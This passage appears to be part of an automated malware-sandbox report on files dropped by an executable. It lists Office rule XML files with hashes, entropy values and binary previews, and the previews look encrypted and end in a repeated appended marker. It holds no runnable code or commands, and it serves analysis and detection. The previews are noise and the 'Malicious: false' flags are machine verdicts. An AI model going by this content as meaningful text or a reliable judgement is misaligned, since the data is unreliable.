Preview:	<?xmlz...@..N..I....Z...O..Gy.e.b.2.....................#~.[.E.z."m..b..d........k...!......y...I...1`.4..d......X.....Z.h..mh...K...........hX.....6.:.Xd>.+p.v.s....F\....W.&..&.V7..]..N2.....zT../\|...Tb.?..:/..X../..des....1.6.QGx.3........'v.....R.vH....+O.,..N...?..4....]...N.T.9g.>Wei$.'..A.Bf.B.@.[....Y6.y.h.....4.......Y.....$...z..I.jmq..f......A..L..L...c_..0....z..P.T.......l.B(HV....\rY...-.m..).......z....:...Ix..J..e....g.3z]T.G.1..6...`...(.x.T..j\|......C9\|.X..........'{6.c..m.J.u....>(....X.Q..0..D)...~.v=.)..\|.0/O.[do.rN.t....,Uh.J.[vGI..._.d....pv....V~).Y.O............!.r!2t.T..g.Q.v.SD.....$.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.726189229101706
Encrypted:	false
SSDEEP:	24:l24+yOyZslEYnfEhU2qL4Zam+Su0/EafcabD:gyDeEph/qEamDHHD
MD5:	F1C3CDADB69BAD1FDB7F2E6EAA1BE328
SHA1:	FC39EA1B90DAFCD2BC77B999A6BBF7D4616956A3
SHA-256:	AEA68CFF9519171015A19C296170FCF588E0ED6ABEA01ABFF3B442ECD9718352
SHA-512:	5A11CDA8E06BDD630F95694FA85F8C1242F98CC6384FDBEDB4ECB7B963977C406172F7F16157850153C6FD29114119A1E3612DA41EA96515FCDE337A0C4F5D10
Malicious:	false
Preview:	<?xml....4..":..[...Q.+.....U..;....9.Q[..,..\wp........l.{.F.Qg..{/n.....%o..9m..,.R.{...ti.8.n...._.2.^..4.6.sZH..FcC...7......P.f.PN....~>.......2...t......d...mC..=M.....b/(.....V.T.n6.>..]R ..>~w.X..S)h...@..S.8..~sC.gM....xx....p:.....0.z.0.d.$.C.O."..\.........-..P^....C.a ......].ig\Xb<.#z...h.....s..../l..o..] .~..g.]...yn!..C.%...w.l..tJ.R6R..1.......-..(7...g..A.N......n.l..n.Q.}.T@.......F. ..9..4...K .q.cP=.W...a.gR....F.;...K.\\|D.:#R~\(H.h-.8>.@ .\...MM......M.D....h..x..P%.....[..[ARH...O..PO...4!...G...k..52...p....."\.NI..C..H..\|....`J....*........3.d..1<...>..t...t!.)......2...u.N.T.U.,..Nn=)..B.......1[..\..>.v......%h.B.]..w.B}.$;,0Y...tC.+EUg.3.$.9.JyPGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6907021600742995
Encrypted:	false
SSDEEP:	12:xJ2mCVCe5RpJjEkzeoTqjM1p76cPaw0BUtc8YGmVhHXV5W/5Zb3fpHF/p1VrYciD:fVsCeHpJjEkfn+rw0BUtc8o925ZbzfSX
MD5:	AA947C096A02A5C24BAD09C5B6B29C04
SHA1:	C744ABFEC5D3BBF760ED32559F4E4C4667863019
SHA-256:	0D6A3D542FDB8722B0A9D0287AF883D2A90268D971F36CDB31B067FFC5340BF8
SHA-512:	39FF796704535B42C8886245AC0F92D3E7ED41FE4E9EA30E6FBA51953A97065D9ED15F34E30445F7654ACCDE86D9FDA61E0CBCA1BA8184771E47BBD45F833D50
Malicious:	false
Preview:	<?xml, ..J..=H.YB.=..MW..}...S\|"p..\qi.j.2.R.".c..v.:...'...E'.\|..++.[ 1.C.8...5E%..E.D..9....!-.p....7......-.q...~['.e.N8..1..,_.b.V...l..Y,.l.V...L,.c......X......z....4.M...,.l.....L{.\|.p..'.....x......Nh.H.SM>E,{zT..g^.........%....'K....X.gHuW.T.c......j!.2.Cy.i..0uS}....@.\..D....^.^:..R.'.]...s.....q..3.Ot......9.L.....lf.tg.%......k ....@:....fZC.Jy...E.&..,..z.ZO.j%).@...QJ........k../1E......W.a".sf....~.5.h..'..}..<...r.D..h.....H...M\..R S.....l.."..*u..]..7....9jc....V^.9..q..R(...k#......M ?...g....>q..."B.0P...<....cK.z.u..j..G..e.zY.F./..E?........1N..\>.............B.+....h..!.GYY..T}.v.0..d....?.W.)NGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.757043496234408
Encrypted:	false
SSDEEP:	24:AdJdx6sqLBqXmLPBfyg8+WT9jr4+sNIgB98sTbD:Ar6s/IBfyxpFeNd8sHD
MD5:	47AFB0E3BF02A1950A26D3EBF0B2E98F
SHA1:	6F85B688BD69EC5A97C761CC25DA70E4FDF1999C
SHA-256:	7CE670FCEE886A94EF5EBFB6AF134E8DB1772DC1E513D513342D4972BAC952D4
SHA-512:	CBEE14B1F8E6C6C934746949B7B10825CE2745F177C19AAD04649A78348A1720D025443F27EE4A4E8019E041E605EDCD159123F9CC607A0064F1F0180B53BC95
Malicious:	false
Preview:	<?xml}..k.......W...J;.......1M...:.\|7......?.:fk..&.&F..o+/.D_..1.3n..'s..F....H.....I~^e...N...A../4o..Y..[RN ca.....m.._KC./Ala7....I./..B.u.K..?K;_.Oqn+N.... .................ZD.p.Bz+.K.X. U)..q5..5..x...P..5..Z_.u0u'p]..t.4....s...o}z........Ch.....u..u....3.....6.O.$.[..<Bd.D..a.......7'....o..K%a6p..Q[..W8.?..=.B..$(8o]>.O..WZ.?...d.....f....{T.C...x.g..J....A....'I.\|.......N.2...v..-......PL......'/[u....I...%.....X.../sH4...=o0.7..".>vJjm...W.=./....i.i........C.#l......F.k....QY..j..t.G.....b.UV.M......97.....K.i......;f..Qk.....q."........i.c......../..\`.....Z&...[..!.d5.Yb..1G...o.L.....NG.'.X.Z&=.T.$...-.s:.U.$....g.s..ee.2...\j3...7.a./F\|..dr.0..X..9..........x.XGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6859716882388796
Encrypted:	false
SSDEEP:	12:xSpsNCKK8EVi1Pu5tpC+KCaoYAPVr/oZt5wZ5/WPFYdZ6P9xc9TZrIVv5FOKR5Om:xSNrViFu5HWCvVrgZt5K5/yWHXxZsVhj
MD5:	2335AD82A6BEAB5E0F4894F9D8896210
SHA1:	53CDE28DEB44DF7BFF242C8AD26E5A9434715317
SHA-256:	519444332C4803B61D2BC72310A7DF057BC1C9535C231EDA1D17F8B8D7CD8878
SHA-512:	5C706D54B2BD1CF947CF205806CE9A1B1C0C99E7A50F94279B40382794EE93B746A78EDC79DEAE8C4CE352466C434541E3760FDC6CFC4EA13BA7843AD4D90F90
Malicious:	false
Preview:	<?xml.Z.'&..A. ....C.Mk.=gw.X.0......../.>..8..UfcH..h.. ..y.....l...]..B...q...#_....B5.r.VH.1c$.....SfWC.....\|..1.&W....Za....z..{..&?..X..<P.. j9..v=.f.M#...%..V..2A...#...!.A..gt=Q.2P..~.rq0........L@... Z,....=.o..m;.q.u.~f..9".....:a.....hY.Q:-.*.a.jZ...>!\...0./..=6.....t.,),.....3.1.5V.F..!7.....b..M.0....O...{.....&R..5.(aBzY...D.n"......l..y.M..[G......%..Ui..[.w<\f.F./.r.......+k...5.l`j..Lh..;..[..........+..n..Q^.. ....I....].8....<.5.._.Y.Z<?.T..<.....5~1M5..m....<.w.$.g.N;llE..d.V.g.....\.U.T....E.).6S..pF..!p..%.?......<m..<.6.J..+.v......7..e..pA i...4b.......~.x/3.....l............M.q..W).].Dkal...Q?...y...p..!.....E?qGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.735316206612932
Encrypted:	false
SSDEEP:	12:3AhHFCAyGY16v1ob8y8rIxlDPuJrXAlL2A5pm8etvk0JcAZnc/CxXeWnGxHgYciD:3AZ4AygvCb8yoIrG02ACj9PcHptlbD
MD5:	0830B1B503D8D1091E1F7A50D235A1FA
SHA1:	4C5AF0DE1006C95D41BF963A4D922F17F5227194
SHA-256:	9B252AC5EEC4E1981AD192627772D901EF66667F381C925D93B4D53CCD4A1D05
SHA-512:	5A54A93E8957D47A7C2A82FE2AF8C48D32AB2229BF078DE2ACA24A09AD7A317FDE94CB2B371C48112A1CE73CC113BA72E0BA43E91FD0D34C12DE7E2584CE651A
Malicious:	false
Preview:	<?xml.....2j......6.{c3 p....a.x...,Z.R.@./6.:..C..c/\..M..8..g...P...q.>[.."..G..hW.......f.o..C....b..\|.4.Zp6.Y.D..q.... ~.......;...D.oey0:..D.._(:nW..A.J.n..'...@.r.m.'.<0.XbJ...w....9/.r.L.....`.4TE.U..U..&...E[ga-b....~#.....G7.....(...h'..y..).2y.......c..7.W....$0g..s.^.$.C....>.#"..~@.P..pY..Y...4.D....z_.....ZA....P.nm.....M+..(.....j..'.M((se.8.X..)..:..^. ]..W.........x...=9.._...\ ..RL....Z%f2..k.sW6~.<.t.N...b..C.M.9.S.e..?.....:.3y.v.e....*....s...q.{..1.\&.J..9E..Gq.v.i..,......%...rQ....I.U3.N.i.i.f\|t.vC.B.T..R"..r.Y.D..?..<.1T.K....aA...O.8k....c.R..O.M.2=..n.Eq...J.....M.~.\E.a..\ ../q..&}.[!...v.Xi..O...2?.....z.r.......b.p.E.0.ONZ....".%\|wcCcJf.I........w.....;.....,?<GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.7181794537216435
Encrypted:	false
SSDEEP:	12:aEZqipeuwpiqVmEj7tL0pzfz+76qky4UQfRsk6JjZzvqLRWRet2rZYcii9a:Rpeuw0fEvp0pDz+5kyx6TejZzvgXbD
MD5:	AA47FB4B8875232202401F9B697DBBC7
SHA1:	232FA2D3CAF4879A47CAE3B198157EE4CBAC4B20
SHA-256:	678ED8D2EE5322460AC41EF940D4923A6ED62659344A9D76A1C24C78C9EFBB02
SHA-512:	1855E0DCD9FEFFC0567293F53C3A06E82E612D05FE7EE3303FC89B343317C4DDA00493DB37F4575BDEB45C17494812D693DF7A8A2F0BA2E1BC00C54DAAD3FD6C
Malicious:	false
Preview:	<?xml...N....7N..(C.J9.~5..pm..;k.~..k.!u.T1....M.8...L....$...c.j.w...f........UN.k.2]O...A......mm.T.hl..}..+g..d,...o."..`.]l......:....t...Kia...k.....9_.B.}F.oY.Fo.7....e......R9\|.wWR.U2.)....;Ep7...Lb..".w...g..S..@No&.c..BL....i..A{t.~..L.....-;q.S......j...`.>GA..b.[.x.."=.(....Vd....5@O.ltf*d.....,......2..jc..;.(....X?..p...WW.x..s....W.D...o...L-....U..Z.K.b...1v.v+w/..vY.Fl..Xl............6..}...%-y...]...v..w......%Y4.8t.v&M..W.>.J.....Z..c.(. ../.....K.4P./....Z.....2DY.....=.#+o..b18..A........0......?..8.:..7.G...q.mW..9....4KJ..'..&Q^..^....._.Qm5.4.t.....Yt..^..6... ...kC.;...053.h.O.....<..oEE.vU........7......2.....qc.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.711894920756598
Encrypted:	false
SSDEEP:	12:H/LOLKrfEFO6eSVMN4vop44Y8rlkRrolnybdZHxYnr2V+8/Eogvjwoc2/oJ0QPKK:fLeKYRVm3YqIvHynyk8/4jPDQnbD
MD5:	6CF2FA86493545A37B87B1628FEE9584
SHA1:	8C5700914707B4DC6EAD73BDDF93D33A01F93DC7
SHA-256:	DF68BE581CDF7B093AF5CC3E222B9CD61F66FE81F8678D70EBB5B8BDAE89F77B
SHA-512:	F1EC2E0D580655DD2395170612851DF286F2C755E0CDBB621750BAA7871CD2888DBAB8A886D5532E9B704443ADD2A457C16A7E0E0EB544CF1B163A1B50D7494E
Malicious:	false
Preview:	<?xml..[.}(......Y.{....=7.Q....T.a#.{.a9=_y.;w..1.?..x.-...4.S.!...U...c..@5.......g.V..]6...4~.f.=..G..w.v.^.Z.;,s.....lg..2.S..~.7.Q,@....T.,.s..&....=..5...>&.K.b.....U.g..u.@.)7.=.p.p..............]..d.$_:.be7....*.jG.....{..@........S$...z.!..Q.[.d,..q."$.L.2....../.-d.b..-..(...@.q....4:3.......G5Y7..d.......F../. .:....E.4...D.1.5.-.O......MoB.O..l.....}....2....9_.`8./.......=8......Y....>..V.....h......5...a.!V>....xYj..q....!......G.k.m...P3.G.6.....@..d.......Q..ncG7.k...B.T.d~.<}.K..{....s.....C..L.~w.w...Xukw.2.P.j..3.=..-.b...@....\.......B!..=2...^R,.Jk......//.T"..K.`....) ..!.v.l8JeU..(.......F....o'..\..J..v.N.7.K.F y4q....ua?G.6w.Gl!.q.4OKU.D............GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.73674269809834
Encrypted:	false
SSDEEP:	12:wS6q9igHjKzesqhBCZ7u469IADD6sLlkuZ8JmLUyWsjqCwe9m9nk4TuYcii9a:Qqkxu46SA36Ng8pybPww+kebD
MD5:	73E48D79FC5490262C7337232383BB3A
SHA1:	3B32BC1B52B557E6A706FEFC0ADB23CF4A10AD60
SHA-256:	B8DAD77FFAB58030A02F0E83FE6AF5B47D0014B563CC84AEB043CD2C21763570
SHA-512:	5B8BE8BA4715B70EEFC48E059975D4A1203DCB0DFC02DEB9D438A4B9863A83198BE25F038E792D735F7BCDC6422C170B23730E6F56A45015FB807A2D8ABB134C
Malicious:	false
Preview:	<?xml....o..{)uY...A../>.......6..,.-0....t.A...T..-...!2.#x..1...i..<...T..Z.{.P877;.e...c....E.?h.....y...4... #d6..?.g_.e...S .&.w]:.k.".@p....y.AwP....Q.....U._f.P..&/..].Bdj.....ed.Q..A..L./....a..R[g.M]T..v.....>``.#w...b.q.3L .n.~.........q./td+g.3.O..... ..i.>....C.g.....hz..Ab2...S}............P..<..y#$.(.k...q...D."...m2.i7......O.....l....<.)...~..6...Y.#I...".<......6..u.?2..u..b..af......<.....{.....K...jzv 2..,.33".Gu......;...ncJkoM....\|......k.Z.Y.{..fO..qnmw.'Haf...I\|....t....%0...q..r.wY+...,.B ..9.....:....sK>....MlW...N....%....e.)a.h...g...(y...?.UH.o.....R......l ..M;L.;....@@........M..i....#...U~.>h..."..i@..A..{w....G..X.*..l..D..g.O;.-U.....>..i..&AGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.751859579516357
Encrypted:	false
SSDEEP:	12:qeBRbb2fpmixs6Zh8yExenRbn98JE85fa/LFf+WN5PQ/Y9//vEUNBgYcii9a:qKRWhmwExen1eJE85fOhfjN5P7v7NPbD
MD5:	841F3E360D94CEB09ED2ECCD7F986D75
SHA1:	914B089B8B0CE2FDF3CD5760D22FFB7FEC817502
SHA-256:	74E8F6FE80F4111564680D33F444F0BD2544248BA00EA614C55001BD357888F9
SHA-512:	5A9F8AA9C378D8C8EC114E55E6E15D3922504AC238AC5E3C05858610C746797AF99E7D25EE54000D085C64E4DB930F3B31D85C7CEC0F322F57BFD87A5F7B540A
Malicious:	false
Preview:	<?xml.......).._.EA>.X....L.s(......t./.Z..;d`Z...C.m..J..!...s/...[dA...Z6&_U...IbdY]......6...R..1..........f...20......N.h.a.]k...D..y..........x.........wg^{r....L<.........g$.......C..A...>....u........T..k....a.a...#.w... <..h.......!3..%F....V.3..?Oi...G.K?.).....76F....D.P...m.kq....G-,...G#.........,S].'.r....\.}J...Tw....V.&.t....]F....}.b>^....3U.&..4.BQ....$g. f8n...Q._..Qy}.\|o...1.&...b>.G...x....{_.9.....G.S.%}2...S. ....M.......:......4.`....3S..U....{~..C.^...^KrX.....z-,v#...d8l.2`...\|...@.-C.C.-.....[..K...E..........d...5.@[..Ul.`..:P.KAV....fF.C.u`.W...?Lu.....S....@.......1..f9\..,.S_...............`x.C....):..L..M.+.#,tR..)}#..y`;..a....7..2.:.....W6v..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.709116651949172
Encrypted:	false
SSDEEP:	12:bRd3qF/deVcBown1KhJ7FASewLIKPkOD3aOXVFI6SZ6YmzyMqDQTsX0baAYjnKaP:bXYsDaSeEVD3aOXQVisDQVQjK+bD
MD5:	2867438755D81403039308BBC3ABAC85
SHA1:	1273764F4FC484EFDBED1A00F80AD37A6ADF1ADE
SHA-256:	65FD6CA6F512993FD1D05CD819D7F1ABC05DA21FC7D0DAB5A824D7FD4276CC5C
SHA-512:	12498A13E7E91E9265032C74AD6D706B72821A2B0B2EB596F3E689E5F2C2FC37D71366303684F04FC35D67ACF4F4BC028C4523ECE0A9ADB8CE5BBA377D30FE2A
Malicious:	false
Preview:	<?xmlS.j..n...5.............q.eYFW.>pJ).....N.@2.....c....~..J..........f........~]. .G....s..N?..{.nt......}.....:.A..30..uR....F,._.4..M..5Ss.....F.Q.C..]..\&.ur.B..K.bb..7o.&..i.8.VH.20....Y.....[/.<&>.N...0z...1....6i.#....{\|.........<..Y....s+x..C&6p.yj+.4.u}... m{m.~Naws.-......A3.../.....A:..O..Q6...o.^......1....%....3U..\..0..P....K.Z.?..{...^.V!..}....G..,G.74P....g.e.^...=.......!...O.x.)?-.<MSy.q..y.c.......k.N..N..m}....C]..n?.}...(._.'...y..zx/..#=....TXv.@>...'.~......?...b...ia.<.W...I.0j.D.<...(.PD....r.f.....j1.{..~..1iF.D..?.........`po..N.;p..E....1.-......hM..z."c5.......>^~.qlhW[.L..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.717160094074939
Encrypted:	false
SSDEEP:	12:Sk2FnuNXWo0FoDg7xFiQYjVL/Gc0K2RHnsOF5JnCjwi8uOWCYcii9a:H2luNGo9+vYjVL/GciHnbCjw1WnbD
MD5:	BF2BBFD19DE55ABD1B1FFCC0E720B18E
SHA1:	CE1F470C9236E2D8EA0E994B8E5FE8C6524A370A
SHA-256:	8C9015AD9533664C48E06B05A81E9061BA6F0949018C8BA4A5EB2CBB78BFB4DE
SHA-512:	71D4730EA5A813316651D6CC872942016651E5CC9311DF0A2AB211BA18CEE44CD094C1BAA17B1986DE10F9B215299D2BC0D46A9BBBC97455A0422327FB5821C8
Malicious:	false
Preview:	<?xmlCGm...XEO..$..Z... G.9.'670...>..L.]..d;0.,...u.H....J..'%..M.O.....^..}.0L.<......M.i(.kF.>.u#.4..B:...t... x...B5!q....Rm..Mo@....y..kl..+.....].%9.W..[..J.eR..L..Z.F.'......s.....;...l..Nc.}.'..0.<"j...g_..3.........b........o.....w.9..!........,.C......._..N......J.....&.z...}....:.;.<%G..g..L......y.4.._W.v..?.G#..h...3(.Q0.g....X.m>N2.[.=...5.;C.F./.Z.1.....-........_$..x8!.g..e..GT5f.KF.....f.o.6.;........W.._.......P".{.)..1....L.0.f3>......@..8.XRG..u...;o.]f`.ia....,..0.9....qT.r...z..H.E..oVZQj$...&.....]x.....n........!..S.F...b.(H.52n..g....Y}a4E........7..o...N.n........h.........C.L...5..A-.p.t%....wrF....T.%...Z.AF...l.r......m....^M.WL0...... ....=n..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.69579873486048
Encrypted:	false
SSDEEP:	12:kbkEa9DtR+OlQueb2rn9KSaAtzLxTYr3yo1fI5FV4bc4uGr7lCaK1K3dAzvYciik:MRa9hRDl9rRHTNofUV0X/7l7OzAbD
MD5:	CB463D7A3525AA6BF44179B03BF31E81
SHA1:	37C375CC9DA279DA696F1EB32C6D56579A58B2DD
SHA-256:	1556FC01295531F9891CD1E62861D44EB409198D09FFA364F815C75E35D31A65
SHA-512:	E59826FD46FEA0DA969BAEAC4B42955573A537DCDECAFF6BF328EACDB5055856D5267E8191CEE512A9A47073FE5FAE0C48B7F0862848D751342EAEA2649D7919
Malicious:	false
Preview:	<?xml.'...Dz..)H..4.d..W..2.A....!.1.......HLm%.Cc.r.w..........w...O.fC&?`.'_..D..T.~.#..+_..y/t%......9.An"...nqP...L.x.W..?L..~].....}..%.....K..]0!...Z..`d}d.#.?....dB..t.[P.^$.!.....@ .K...XICa..>q.....4e.n.E..M.Y..Z...0b.d.n(.I..RT.`.j{+DI%.....%2..(L...Kf....... [rt......<....9...".L..1...U......#Q....g,CC.q..9.A..@!P......>....P.g.:.W.+.WLq.R..19[..tI.N....b...}.k..z.. z.E.%q.D..`......Y.'.%..;X.!..W......=GI......a.\|d9Vw.R..@.dC"j...$....YS...rXj........u.......rEO..`K...,.n.\....N6.../...$.V..0......o.Fnle%.0...S..O..=@..N.@,P9.93..i....S.!....-.U.[~y.r<*,..d`..F..l.y..PM.g.Wx....{...z...L\|.:9..v.8..Z.,z\|n5..bq~kd.....{.....I...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240020v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.762197486519624
Encrypted:	false
SSDEEP:	24:LN3OOmk7Gujg7L89wI6uLDtTmRrEviN16n8nc39bD:1b7Gig7L8FDLESiNon8nctD
MD5:	C8302466165D9FBB37A85C9C10F81A3A
SHA1:	BB79ED63B6A04125F17B019CF2F72288DE92AA7B
SHA-256:	A65F5BADC0E9711D1FEC1D7CA0CF31B9CD486C56C8B23CAF1D20D62D5A833B86
SHA-512:	280DA0402F1BD803E5EE4D8DB32A8D4B7DBCCAEA10DB26344D641208B04232B7622757E86E4564F95721EAED37DD30EECC53E6D4DB8B98DBE6F570B214AC8B2E
Malicious:	false
Preview:	<?xmllv..W.7L.h-;Wh.".w.g.p<........H.Z!q..F>.kU..b....hq...-....;..h#....z-.7......VTQjrj...J....%...mV.....,.=.._......1"8..>..S.!.;jdG..~{..@...v.b..>..6y.:h(0q..YL...(...5..-(?....tg..h.........S.K...8V<.. ....k"C.1.@2...6......~f..m.....}^..)..p/^<.L.C............+?..[..O..gJ..\..[;.P.x..w5.f.W..,.hG<i.7k=.>......!...V.^..z1...9.CAV.#].s.{.Kgr....4Pi=.......n...T,....k..~....^......v.`X./.....FQzt..7...be..k.O.J....b3%...cw.EDJ.K...[...`..(.J...S...s0...4....0...o^,...#Q9.`5y.....zJ..L...\|...M..jX....B2......Cx....E......../.a6.!..C(.1.G.......[..\|e.n..PU.jl....z.M..M..E..N.......s.k...;Li.........;1.)..:+.].^..N.........N.B.+O..<...9Fm%..."iG%P3?...N..Gj....2C.r`K.^.....^'[..4dAH....E..b.t..;W...K.T....`\|*...._2.t@<.&.;`.;.D...#........D...z],.._..4.....3.......q.].].=..M..t.W;.T..Q.w..p6K9..7.Gu..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240021v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.775102301573208
Encrypted:	false
SSDEEP:	12:i+H6OB7kRamXmstknvMNjNNtDPtAQ3KBWaKreMTFos3eRYnJuN+aDXtNF7gCYciD:oXXYvMdbIyKVcos3eRYnJADXtEnbD
MD5:	70BDC670F6638FBA87C9D605FF7D072F
SHA1:	D66CD805961B2067C26152B7A73DDCF86AF34F78
SHA-256:	F57EADEBD73E33611083D019BDAD82957DD2A4B1E1429A0A517376DDEDD558E6
SHA-512:	496A4BC46E6F7565E66F116984AFF0031C1546F0233FA04C953661B4A28B1680020457F6C6DF238E75BA9D6E0C4BEA4E716074B0824E94A405F3EE0FA74B5B59
Malicious:	false
Preview:	<?xml......im...I9..Z.]..HBh..@..=MD.\|.3:..~.....I...w.Lxj.%T...$.n...H/9..aM_HWE..j`.,b.K....=...7....pdgU.R.D~......:.q.T492.D..H..N@r..y.4~-}.^{.{+i.]u+_CA.?.>vO2.....u....;'....v...l...U........=..E..fiL.....o:r.6......Kx..O.e.UT...a...oTn..fb..t\..\..2.../9...Or...R.@W9........... .j".._....k.d\|Z .>.ec).b..Z.j.(J.#...1.0_........1A.v..0v.m.n.^M.....I...'...vF..J..7....6..H"..a?.j....(.o.....+%!.M..S.`.%S1u\.e.....Z.<6).M..~....$.1..~..a.[A..p.........M...le:....b.#.....b.."...yS.]Q......R/..c.......f.o..0...?U....V...7.....}.FR.9....4m1.{)....%.f..H..n...8..T.`....-o....I..^!D....9E..xA..c...H. OL...#.jp...@.1.......&....M..}.b....0...._.rs......4"..c....V..o....Zp...$M.?...,..#...Y.1?...TA.~....p.zsHJ.s[G%(,..SJ.......}.Ics.%.q..g.[}b....o.$.:..M......q.*.m..EW.2.N...J...TR..A....a.\|...z....]j..z:......GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240025v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	7.884650962538055
Encrypted:	false
SSDEEP:	48:mgnveJ1SFgD9z5MbcZJ7iSkI0ZsHExofpbJuPStD:mgvCh9zKcZ0ZKfhRV
MD5:	8585B29D302721DCE4F7A1BB5C1419EE
SHA1:	7E6CE4DA5C528EA8EDE3CE4DF0FCB2FC8C2B9D64
SHA-256:	7505AAB81B3585B55DBF0ED3BA67657B10F166C716BCCED39D3A5BF242BE4B72
SHA-512:	2A2ECE5A53414FA8A7D091AF05C467CBAE43889F05A30D5EF19236BD55BD4AD5BDAE0700559B4C66FFAC7A577767D4EBA8542B788E4FB6D0EC4DD480DC41CCDD
Malicious:	false
